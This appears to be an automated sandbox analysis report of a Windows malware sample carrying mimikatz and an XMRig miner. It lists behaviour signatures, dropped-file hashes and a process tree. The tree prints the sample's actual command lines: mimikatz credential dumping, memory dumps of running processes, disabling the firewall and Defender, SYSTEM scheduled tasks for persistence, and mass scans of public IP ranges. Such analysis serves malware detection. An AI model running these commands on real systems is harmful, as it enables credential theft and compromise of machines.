Analysis
-
max time kernel
150s -
max time network
155s -
platform
windows10-2004_x64 -
resource
win10v2004-20240412-en -
resource tags
-
submitted
16/04/2024, 04:29
General
-
Target
2024-04-16_150c66e6f4137cd82617269465836ded_hacktools_icedid_mimikatz.exe
-
Size
7.3MB
-
MD5
150c66e6f4137cd82617269465836ded
-
SHA1
f218970e566f9c3c35f4af95678dfe8fd54c6195
-
SHA256
fdc1e6b3a741c7e5324da07d6d805ccd55a54689b0a6b2685f8811f8976a835b
-
SHA512
ff12f52f7872a62151f3c3edd82320d787b24c963b87562f1c39b4a417ff8e219272a0ed41c569f5f33588dfe5f6ed604edab4d1f0e5f62ed0d2f4e6c0a2b483
-
SSDEEP
196608:MxygkmknGzwHdOgEPHd9BRX/nivPlTXTYo:Y5jz0E51/iv1
Malware Config
Signatures
-
Mimikatz
mimikatz is an open source tool to dump credentials on Windows.
-
Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs
-
xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
-
Contacts a large (27319) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
-
Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
-
Detects executables containing SQL queries to confidential data stores. Observed in infostealers 1 IoCs
-
UPX dump on OEP (original entry point) 38 IoCs
-
XMRig Miner payload 12 IoCs
-
mimikatz is an open source tool to dump credentials on Windows 4 IoCs
-
Drops file in Drivers directory 3 IoCs
-
Modifies Windows Firewall 2 TTPs 2 IoCs
-
Sets file execution options in registry 2 TTPs 40 IoCs
-
Executes dropped EXE 27 IoCs
-
Loads dropped DLL 12 IoCs
-
UPX packed file 35 IoCs
Detects executables packed with UPX/modified UPX open source packer.
-
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
-
Looks up external IP address via web service 2 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
-
Creates a Windows Service
-
Drops file in System32 directory 18 IoCs
-
Drops file in Program Files directory 3 IoCs
-
Drops file in Windows directory 60 IoCs
-
Launches sc.exe 4 IoCs
Sc.exe is a Windows utlilty to control services on the system.
-
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
NSIS installer 3 IoCs
-
Creates scheduled task(s) 1 TTPs 3 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
-
Modifies data under HKEY_USERS 41 IoCs
-
Modifies registry class 14 IoCs
-
Runs net.exe
-
Runs ping.exe 1 TTPs 1 IoCs
-
Suspicious behavior: EnumeratesProcesses 64 IoCs
-
Suspicious behavior: LoadsDriver 15 IoCs
-
Suspicious behavior: RenamesItself 1 IoCs
-
Suspicious use of AdjustPrivilegeToken 22 IoCs
-
Suspicious use of SetWindowsHookEx 12 IoCs
-
Suspicious use of WriteProcessMemory 64 IoCs
Processes
-
C:\Windows\System32\spoolsv.exeC:\Windows\System32\spoolsv.exe1⤵
-
C:\Windows\TEMP\ugqpmiezb\ugiirh.exe"C:\Windows\TEMP\ugqpmiezb\ugiirh.exe"2⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Users\Admin\AppData\Local\Temp\2024-04-16_150c66e6f4137cd82617269465836ded_hacktools_icedid_mimikatz.exe"C:\Users\Admin\AppData\Local\Temp\2024-04-16_150c66e6f4137cd82617269465836ded_hacktools_icedid_mimikatz.exe"1⤵
- Drops file in Windows directory
- Suspicious behavior: RenamesItself
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\cmd.execmd /c ping 127.0.0.1 -n 5 & Start C:\Windows\hbleelcb\qntcylc.exe2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\PING.EXEping 127.0.0.1 -n 53⤵
- Runs ping.exe
-
-
C:\Windows\hbleelcb\qntcylc.exeC:\Windows\hbleelcb\qntcylc.exe3⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
-
-
-
C:\Windows\hbleelcb\qntcylc.exeC:\Windows\hbleelcb\qntcylc.exe1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in Drivers directory
- Sets file execution options in registry
- Executes dropped EXE
- Drops file in System32 directory
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\cmd.execmd /c echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D users & echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D administrators & echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D SYSTEM2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"3⤵
-
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\system32\drivers\etc\hosts /T /D users3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"3⤵
-
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\system32\drivers\etc\hosts /T /D administrators3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"3⤵
-
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\system32\drivers\etc\hosts /T /D SYSTEM3⤵
-
-
-
C:\Windows\SysWOW64\netsh.exenetsh ipsec static del all2⤵
-
-
C:\Windows\SysWOW64\netsh.exenetsh ipsec static add policy name=Bastards description=FuckingBastards2⤵
-
-
C:\Windows\SysWOW64\netsh.exenetsh ipsec static add filteraction name=BastardsList action=block2⤵
-
-
C:\Windows\SysWOW64\cmd.execmd /c C:\Windows\ppzgtelge\glbkyigbp\wpcap.exe /S2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\ppzgtelge\glbkyigbp\wpcap.exeC:\Windows\ppzgtelge\glbkyigbp\wpcap.exe /S3⤵
- Drops file in Drivers directory
- Executes dropped EXE
- Loads dropped DLL
- Drops file in System32 directory
- Drops file in Program Files directory
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\net.exenet stop "Boundary Meter"4⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "Boundary Meter"5⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "TrueSight Meter"4⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "TrueSight Meter"5⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop npf4⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop npf5⤵
-
-
-
C:\Windows\SysWOW64\net.exenet start npf4⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 start npf5⤵
-
-
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c net start npf2⤵
-
C:\Windows\SysWOW64\net.exenet start npf3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 start npf4⤵
-
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c net start npf2⤵
-
C:\Windows\SysWOW64\net.exenet start npf3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 start npf4⤵
-
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c C:\Windows\ppzgtelge\glbkyigbp\gbltcqpcn.exe -p 80 222.186.128.1-222.186.255.255 --rate=1024 -oJ C:\Windows\ppzgtelge\glbkyigbp\Scant.txt2⤵
-
C:\Windows\ppzgtelge\glbkyigbp\gbltcqpcn.exeC:\Windows\ppzgtelge\glbkyigbp\gbltcqpcn.exe -p 80 222.186.128.1-222.186.255.255 --rate=1024 -oJ C:\Windows\ppzgtelge\glbkyigbp\Scant.txt3⤵
- Executes dropped EXE
- Loads dropped DLL
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c C:\Windows\ppzgtelge\Corporate\vfshost.exe privilege::debug sekurlsa::logonpasswords exit >> C:\Windows\ppzgtelge\Corporate\log.txt2⤵
- Drops file in Windows directory
-
C:\Windows\ppzgtelge\Corporate\vfshost.exeC:\Windows\ppzgtelge\Corporate\vfshost.exe privilege::debug sekurlsa::logonpasswords exit3⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c echo Y|schtasks /create /sc minute /mo 1 /tn "ztryepyqe" /ru system /tr "cmd /c C:\Windows\ime\qntcylc.exe"2⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"3⤵
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /sc minute /mo 1 /tn "ztryepyqe" /ru system /tr "cmd /c C:\Windows\ime\qntcylc.exe"3⤵
- Creates scheduled task(s)
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c echo Y|schtasks /create /sc minute /mo 1 /tn "pbtcbjegy" /ru system /tr "cmd /c echo Y|cacls C:\Windows\hbleelcb\qntcylc.exe /p everyone:F"2⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"3⤵
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /sc minute /mo 1 /tn "pbtcbjegy" /ru system /tr "cmd /c echo Y|cacls C:\Windows\hbleelcb\qntcylc.exe /p everyone:F"3⤵
- Creates scheduled task(s)
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c echo Y|schtasks /create /sc minute /mo 1 /tn "bzterekgn" /ru system /tr "cmd /c echo Y|cacls C:\Windows\TEMP\ugqpmiezb\ugiirh.exe /p everyone:F"2⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"3⤵
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /sc minute /mo 1 /tn "bzterekgn" /ru system /tr "cmd /c echo Y|cacls C:\Windows\TEMP\ugqpmiezb\ugiirh.exe /p everyone:F"3⤵
- Creates scheduled task(s)
-
-
-
C:\Windows\SysWOW64\netsh.exenetsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=139 protocol=TCP2⤵
-
-
C:\Windows\SysWOW64\netsh.exenetsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=139 protocol=UDP2⤵
-
-
C:\Windows\SysWOW64\netsh.exenetsh ipsec static add rule name=Rule1 policy=Bastards filterlist=BastardsList filteraction=BastardsList2⤵
-
-
C:\Windows\SysWOW64\netsh.exenetsh ipsec static set policy name=Bastards assign=y2⤵
-
-
C:\Windows\SysWOW64\netsh.exenetsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=135 protocol=TCP2⤵
-
-
C:\Windows\SysWOW64\netsh.exenetsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=135 protocol=UDP2⤵
-
-
C:\Windows\SysWOW64\netsh.exenetsh ipsec static add rule name=Rule1 policy=Bastards filterlist=BastardsList filteraction=BastardsList2⤵
-
-
C:\Windows\SysWOW64\netsh.exenetsh ipsec static set policy name=Bastards assign=y2⤵
-
-
C:\Windows\SysWOW64\netsh.exenetsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=445 protocol=TCP2⤵
-
-
C:\Windows\TEMP\ppzgtelge\wlskzztgc.exeC:\Windows\TEMP\ppzgtelge\wlskzztgc.exe -accepteula -mp 784 C:\Windows\TEMP\ppzgtelge\784.dmp2⤵
- Executes dropped EXE
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SysWOW64\netsh.exenetsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=445 protocol=UDP2⤵
-
-
C:\Windows\SysWOW64\netsh.exenetsh ipsec static add rule name=Rule1 policy=Bastards filterlist=BastardsList filteraction=BastardsList2⤵
-
-
C:\Windows\SysWOW64\netsh.exenetsh ipsec static set policy name=Bastards assign=y2⤵
-
-
C:\Windows\SysWOW64\cmd.execmd /c net stop SharedAccess2⤵
-
C:\Windows\SysWOW64\net.exenet stop SharedAccess3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop SharedAccess4⤵
-
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c netsh firewall set opmode mode=disable2⤵
-
C:\Windows\SysWOW64\netsh.exenetsh firewall set opmode mode=disable3⤵
- Modifies Windows Firewall
-
-
-
C:\Windows\TEMP\ppzgtelge\wlskzztgc.exeC:\Windows\TEMP\ppzgtelge\wlskzztgc.exe -accepteula -mp 60 C:\Windows\TEMP\ppzgtelge\60.dmp2⤵
- Executes dropped EXE
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SysWOW64\cmd.execmd /c netsh Advfirewall set allprofiles state off2⤵
-
C:\Windows\SysWOW64\netsh.exenetsh Advfirewall set allprofiles state off3⤵
- Modifies Windows Firewall
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c net stop MpsSvc2⤵
-
C:\Windows\SysWOW64\net.exenet stop MpsSvc3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop MpsSvc4⤵
-
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c net stop WinDefend2⤵
-
C:\Windows\SysWOW64\net.exenet stop WinDefend3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop WinDefend4⤵
-
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c net stop wuauserv2⤵
-
C:\Windows\SysWOW64\net.exenet stop wuauserv3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop wuauserv4⤵
-
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c sc config MpsSvc start= disabled2⤵
-
C:\Windows\SysWOW64\sc.exesc config MpsSvc start= disabled3⤵
- Launches sc.exe
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c sc config SharedAccess start= disabled2⤵
-
C:\Windows\SysWOW64\sc.exesc config SharedAccess start= disabled3⤵
- Launches sc.exe
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c sc config WinDefend start= disabled2⤵
-
C:\Windows\SysWOW64\sc.exesc config WinDefend start= disabled3⤵
- Launches sc.exe
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c sc config wuauserv start= disabled2⤵
-
C:\Windows\SysWOW64\sc.exesc config wuauserv start= disabled3⤵
- Launches sc.exe
-
-
-
C:\Windows\TEMP\xohudmc.exeC:\Windows\TEMP\xohudmc.exe2⤵
- Executes dropped EXE
- Drops file in System32 directory
- Suspicious use of SetWindowsHookEx
-
-
C:\Windows\TEMP\ppzgtelge\wlskzztgc.exeC:\Windows\TEMP\ppzgtelge\wlskzztgc.exe -accepteula -mp 1856 C:\Windows\TEMP\ppzgtelge\1856.dmp2⤵
- Executes dropped EXE
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\TEMP\ppzgtelge\wlskzztgc.exeC:\Windows\TEMP\ppzgtelge\wlskzztgc.exe -accepteula -mp 2628 C:\Windows\TEMP\ppzgtelge\2628.dmp2⤵
- Executes dropped EXE
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\TEMP\ppzgtelge\wlskzztgc.exeC:\Windows\TEMP\ppzgtelge\wlskzztgc.exe -accepteula -mp 2788 C:\Windows\TEMP\ppzgtelge\2788.dmp2⤵
- Executes dropped EXE
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\TEMP\ppzgtelge\wlskzztgc.exeC:\Windows\TEMP\ppzgtelge\wlskzztgc.exe -accepteula -mp 2796 C:\Windows\TEMP\ppzgtelge\2796.dmp2⤵
- Executes dropped EXE
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\TEMP\ppzgtelge\wlskzztgc.exeC:\Windows\TEMP\ppzgtelge\wlskzztgc.exe -accepteula -mp 3112 C:\Windows\TEMP\ppzgtelge\3112.dmp2⤵
- Executes dropped EXE
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\TEMP\ppzgtelge\wlskzztgc.exeC:\Windows\TEMP\ppzgtelge\wlskzztgc.exe -accepteula -mp 3880 C:\Windows\TEMP\ppzgtelge\3880.dmp2⤵
- Executes dropped EXE
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\TEMP\ppzgtelge\wlskzztgc.exeC:\Windows\TEMP\ppzgtelge\wlskzztgc.exe -accepteula -mp 4028 C:\Windows\TEMP\ppzgtelge\4028.dmp2⤵
- Executes dropped EXE
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\TEMP\ppzgtelge\wlskzztgc.exeC:\Windows\TEMP\ppzgtelge\wlskzztgc.exe -accepteula -mp 4092 C:\Windows\TEMP\ppzgtelge\4092.dmp2⤵
- Executes dropped EXE
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\TEMP\ppzgtelge\wlskzztgc.exeC:\Windows\TEMP\ppzgtelge\wlskzztgc.exe -accepteula -mp 8 C:\Windows\TEMP\ppzgtelge\8.dmp2⤵
- Executes dropped EXE
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\TEMP\ppzgtelge\wlskzztgc.exeC:\Windows\TEMP\ppzgtelge\wlskzztgc.exe -accepteula -mp 368 C:\Windows\TEMP\ppzgtelge\368.dmp2⤵
- Executes dropped EXE
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\TEMP\ppzgtelge\wlskzztgc.exeC:\Windows\TEMP\ppzgtelge\wlskzztgc.exe -accepteula -mp 3292 C:\Windows\TEMP\ppzgtelge\3292.dmp2⤵
- Executes dropped EXE
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\TEMP\ppzgtelge\wlskzztgc.exeC:\Windows\TEMP\ppzgtelge\wlskzztgc.exe -accepteula -mp 4320 C:\Windows\TEMP\ppzgtelge\4320.dmp2⤵
- Executes dropped EXE
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\TEMP\ppzgtelge\wlskzztgc.exeC:\Windows\TEMP\ppzgtelge\wlskzztgc.exe -accepteula -mp 2528 C:\Windows\TEMP\ppzgtelge\2528.dmp2⤵
- Executes dropped EXE
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SysWOW64\cmd.execmd.exe /c C:\Windows\ppzgtelge\glbkyigbp\scan.bat2⤵
-
C:\Windows\ppzgtelge\glbkyigbp\uphybleeu.exeuphybleeu.exe TCP 191.101.0.1 191.101.255.255 445 512 /save3⤵
- Executes dropped EXE
- Drops file in Windows directory
-
-
-
C:\Windows\TEMP\ppzgtelge\wlskzztgc.exeC:\Windows\TEMP\ppzgtelge\wlskzztgc.exe -accepteula -mp 5032 C:\Windows\TEMP\ppzgtelge\5032.dmp2⤵
- Executes dropped EXE
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SysWOW64\cmd.execmd /c echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D users & echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D administrators & echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D SYSTEM2⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"3⤵
-
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\system32\drivers\etc\hosts /T /D users3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"3⤵
-
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\system32\drivers\etc\hosts /T /D administrators3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"3⤵
-
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\system32\drivers\etc\hosts /T /D SYSTEM3⤵
-
-
-
C:\Windows\SysWOW64\dipzew.exeC:\Windows\SysWOW64\dipzew.exe1⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
-
C:\Windows\system32\cmd.EXEC:\Windows\system32\cmd.EXE /c echo Y|cacls C:\Windows\TEMP\ugqpmiezb\ugiirh.exe /p everyone:F1⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"2⤵
-
-
C:\Windows\system32\cacls.execacls C:\Windows\TEMP\ugqpmiezb\ugiirh.exe /p everyone:F2⤵
-
-
C:\Windows\system32\cmd.EXEC:\Windows\system32\cmd.EXE /c echo Y|cacls C:\Windows\hbleelcb\qntcylc.exe /p everyone:F1⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"2⤵
-
-
C:\Windows\system32\cacls.execacls C:\Windows\hbleelcb\qntcylc.exe /p everyone:F2⤵
-
-
C:\Windows\system32\cmd.EXEC:\Windows\system32\cmd.EXE /c C:\Windows\ime\qntcylc.exe1⤵
-
C:\Windows\ime\qntcylc.exeC:\Windows\ime\qntcylc.exe2⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
-
-
C:\Windows\system32\cmd.EXEC:\Windows\system32\cmd.EXE /c echo Y|cacls C:\Windows\TEMP\ugqpmiezb\ugiirh.exe /p everyone:F1⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"2⤵
-
-
C:\Windows\system32\cacls.execacls C:\Windows\TEMP\ugqpmiezb\ugiirh.exe /p everyone:F2⤵
-
-
C:\Windows\system32\cmd.EXEC:\Windows\system32\cmd.EXE /c C:\Windows\ime\qntcylc.exe1⤵
-
C:\Windows\ime\qntcylc.exeC:\Windows\ime\qntcylc.exe2⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
-
-
C:\Windows\system32\cmd.EXEC:\Windows\system32\cmd.EXE /c echo Y|cacls C:\Windows\hbleelcb\qntcylc.exe /p everyone:F1⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"2⤵
-
-
C:\Windows\system32\cacls.execacls C:\Windows\hbleelcb\qntcylc.exe /p everyone:F2⤵
-
Network
MITRE ATT&CK Enterprise v15
Persistence
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Create or Modify System Process
1Windows Service
1Scheduled Task/Job
1Privilege Escalation
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Create or Modify System Process
1Windows Service
1Scheduled Task/Job
1Defense Evasion
Impair Defenses
1Disable or Modify System Firewall
1Modify Registry
1Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
95KB
MD586316be34481c1ed5b792169312673fd
SHA16ccde3a8c76879e49b34e4abb3b8dfaf7a9d77b5
SHA25649656c178b17198470ad6906e9ee0865f16f01c1dbbf11c613b55a07246a7918
SHA5123a6e77c39942b89f3f149e9527ab8a9eb39f55ac18a9db3a3922dfb294beb0760d10ca12be0e3a3854ff7dabbe2df18c52e3696874623a2a9c5dc74b29a860bc
-
Filesize
275KB
MD54633b298d57014627831ccac89a2c50b
SHA1e5f449766722c5c25fa02b065d22a854b6a32a5b
SHA256b967e4dce952f9232592e4c1753516081438702a53424005642700522055dbc9
SHA51229590fa5f72e6a36f2b72fc2a2cca35ee41554e13c9995198e740608975621142395d4b2e057db4314edf95520fd32aae8db066444d8d8db0fd06c391111c6d3
-
Filesize
4.2MB
MD59ebc7a9376f7155ad2a9be9a188c312f
SHA158b0cf386725da9f9751ad4479f9e9f97eee1ef6
SHA2567a12134b391c37ef651241e119678fe6e850d01e0d82136297a18d625a770136
SHA512e1144b4ad51dad1f6991e0b33d9414ba92ae5b10ecba1bb46af1d800bc0105a55ae871a9e836988b04b203d69b9b040d1eebc6ebb49df9586a310644ce1a7c5f
-
Filesize
3.8MB
MD5afc2b4c019a35b00a40056893ab96ad7
SHA188745e4db0c8163508b660fe829afc9cb3c1d69c
SHA25604892c35268406fd66993893dd054c4fff1236297c426d196134309409223a27
SHA5128bdd34c18d86a57643b7aaddad7492f96c701cd339b619426d22f08abf84424c0a46b19707c1f7a957128e3185cf064c11d00c9c1e5156b06ec3e6420e635c88
-
Filesize
2.9MB
MD58b5c4354b99210c168e5124cdfa7a887
SHA13da8a930f3b75e273691b46ff5ba6553d2441073
SHA256a00f0476b13212fe6d49e720b8b437fa52f91cdfa3f3e929e7e104c505d519d0
SHA512fbb401996439ec56ba7dd9e5fcc875795860278785e7be40e7b7aed94baa6cacf2293fb2eb1bc5d295b6c5536dfc9d8562a353c0bdf127066441a088c3c7f901
-
Filesize
7.5MB
MD540d11bfea84120bc4895eb0a4dacbca9
SHA1897cd05adb2f0f58434766ea1ef391826e4cc67d
SHA2569e0b4644d67b04527324be5f93a341afb051282de8106a96606997c98e33f084
SHA512ca46848db590a78c5309551e7a0b8cefdfec90d333021650d8a6dbfaa99341871de05a2e127f3b943c56be91c6b5da96be03c08e16279687013b08859fd0c3e8
-
Filesize
834KB
MD57133baae9c659b479784fcfd132a54f9
SHA15af4635c0bff76fc0dac04cc9c43157c48e51050
SHA256c7cc7d6471e13ed48c724944f0e0acf9a9d65696bacca1a27516915edce11748
SHA512bb99afedf2432ac1fb9e858bf8a2bced5f84e18b56c3df8467167a6811a3e9711d0623bc576f3d98efeb2b754383693160fa8fdda3c185fa3423e83988c629d5
-
Filesize
1.2MB
MD50f58e793877e9fea1778e67784638bc5
SHA1ad728f56014bc6452226eb9e858cf5d1ca571266
SHA25627b1c93aa02f323fd0318a373cfdb7787ed92a824c1043eb5e4c6b355dc9e99c
SHA51253aecc4af4c89f98e6fa656421042b6b79ced150dee259322bcc28592b1efdf8cc311ad2d9abe5d68e214cd958378635678bc5b8703aa7148272059a7dd11d16
-
Filesize
26.0MB
MD52e6df90829ab1e88f4209dd5fbac14b8
SHA17814c15743dd4ae4edfdb1aeb033522760dd2564
SHA256352c2d02faeb838213acc0870da1516846e858a6147d51ed0d393ff42848b282
SHA51287ae7bcdec0c331e4da0b78db23e16379722ec5106a453b9a8a945baecd75ea1f8105d50b31d426b8fdcc60e0a2dabf7624cbc2290af9207bf9ae6728ab739b7
-
Filesize
2.7MB
MD50234211ba6c400455e2dee434f4a12c3
SHA1436c07d7b27892bca15d80cceefd2e9075e16e7c
SHA2568cde3081bab7c2f6d57d9ab1d0d05ddea6a5bf76c277a3ad02a51e26ce38859d
SHA512cac581dddb14a03225d3057d84604eb672828eec85ff4d2055d5e3caebcf67ac9f7bb5354ff47e4db8437b2e75a0a3edf26354484c63d0badf909090642034b5
-
Filesize
20.6MB
MD50433f9d0b0e56370eb68aafd699df67b
SHA14198c927148c43e91a850999f630730b112c425b
SHA256e1e0fd3003137b8a33e8c13c3208017683a5a457843dd96c86faa8f84ead709b
SHA512fb02801564ec1aa5b314d3d7201a4fb4d0d497ffd21f443c6e43c263635cfbe09423a4d1ace7074824ced94de4a78c4b7c1055b16092fd69f2d5702e200a3b81
-
Filesize
5.9MB
MD5e2f952bea15a9f0faf82d66c2f9dce3c
SHA10b6f0705a9a056616d8cfd00dc75dfdbc7e1cdfe
SHA256e1d3802409e09080b6c587ce81a02edb0f2eab12544dbd406d5e7cfeaa87580b
SHA512d689ee0717f76722269314db2515040e5ebc6543e3756e5cd02df880d9eb1539bdb44392097088259614c8ada19cffccaabfa181aa66420f4abad86c1e1d202a
-
Filesize
8.8MB
MD55e36c65633dd07dbe09a521250db03a4
SHA19723d1ab9da5f583681e34bc3e398998c0a7e29b
SHA2564bfbe427e703c3b69fd2827c54bc9d72e6158105f6aad0b9183272c94dd21341
SHA512dd90ab90a1455be3d1dc5fd39a488a81a7387ea02475c4a0ba630036b1d4b4ebd438346efbb9ebc2d937a33771af843b89d18024dc310fc3d69156955ccd8ce0
-
Filesize
33.5MB
MD5195377f0db15ad9763a3504544fca39f
SHA1ba7933686b00d35912305bfa860268a8fe3a0bea
SHA2567a50d4977005968236656d60fd220da08feb7bcf490772e1b9fd9ae9e1a3df67
SHA512a68c08c2d6b99af9df9e2a421021c4d736ef3bf890cd501e85cc008d29ec0d6dd3bd870f8fe411a3c926a0df39ccaa68a98deb2b7b3afdc34c25a305749d2c3d
-
Filesize
1019KB
MD5cd238ab8acc8f5c70826ddebd84fed2d
SHA146434216cb4ea86226af8397ff55a4b78b26f313
SHA256a101d207a514ce15d2c76197bcae49ccd2ed30e162d23a94bf935b5364acc617
SHA512a2d3052aaebbe93c4848e796b110e98105104bbb2211e6f78b94cc17a0981865ec816ca64a050ad8df70827e2845e8bcafde629f10431ba2e309d5a1d9f27504
-
Filesize
44.2MB
MD5a65c1585145c6f26fa353ce43c8835b9
SHA1e9731911eddfc3eedd7d6e988f9fafd97b6e072f
SHA25678e2baf375b6cdb8005e411a73d06a16bbd6f550e7546ba4780262149a61eba1
SHA512a6db43e422c45f7073f0365765cc35d5d14c5374b512fc4f00c43db6195de8da5ab7b58500125ab926323ebbc90a0fcc629b562e6d8ffbb4513ca54f38efe8b1
-
Filesize
693B
MD5f2d396833af4aea7b9afde89593ca56e
SHA108d8f699040d3ca94e9d46fc400e3feb4a18b96b
SHA256d6ae7c6275b7a9b81ae4a4662c9704f7a68d5943fcc4b8d035e53db708659b34
